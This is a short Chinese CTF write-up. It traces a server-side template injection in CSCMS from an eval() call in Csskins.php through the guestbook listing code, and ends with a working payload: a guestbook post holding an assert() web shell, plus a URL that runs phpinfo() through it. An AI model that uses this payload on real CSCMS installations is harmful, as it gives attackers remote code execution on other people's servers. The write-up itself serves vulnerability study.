复现强网杯线下赛CSCMS--SSIT模板注入

漏洞存在于:\app\models\Csskins.php

  • cscms_php这个类方法中存在代码执行,:
    // php标签处理
    public function cscms_php($php,$content,$str) {
        $evalstr=" return $content";
        $newsphp=eval($evalstr);
        $str=str_replace($php,$newsphp,$str);
        return $str;
    }
  • 我们追踪cscms_phptemplate_parse这个方法中进行了调用,但是这里进行了过滤,这样类型的是可以执行的:{cscmsphp}phpinfo();{/cscmsphp}追踪$strtemplate_parse的传入参数,我们再继续追踪template_parse

img

  • 经过一段时间的查找,gbook_list类方法调用了template_parse

img

  • 我们追踪$Mark_Text发现它是由$data_content经过替换得到。那么我们继续追踪$data_content

img

  • 从下面代码我们可以简单知道$data_content是由一个数组得到的,而这个数组是通过查询数据库得到的。这里就可以得到一个思路,就是通过留言板把payload写入数据库,而后gbook_list会把payload拿出来去渲染,因为这里无论内容有哪些最终在传到cscms_php这个类方法时候都会获取到payload。

img

  • 留言处插入如下payload
{cscmsphp}assert($_REQUEST[pwd]);{/cscmsphp}
  • 访问:
http://www.tp5.com/index.php/gbook/lists/1?pwd=phpinfo();

img

本文总阅读量
× 文章目录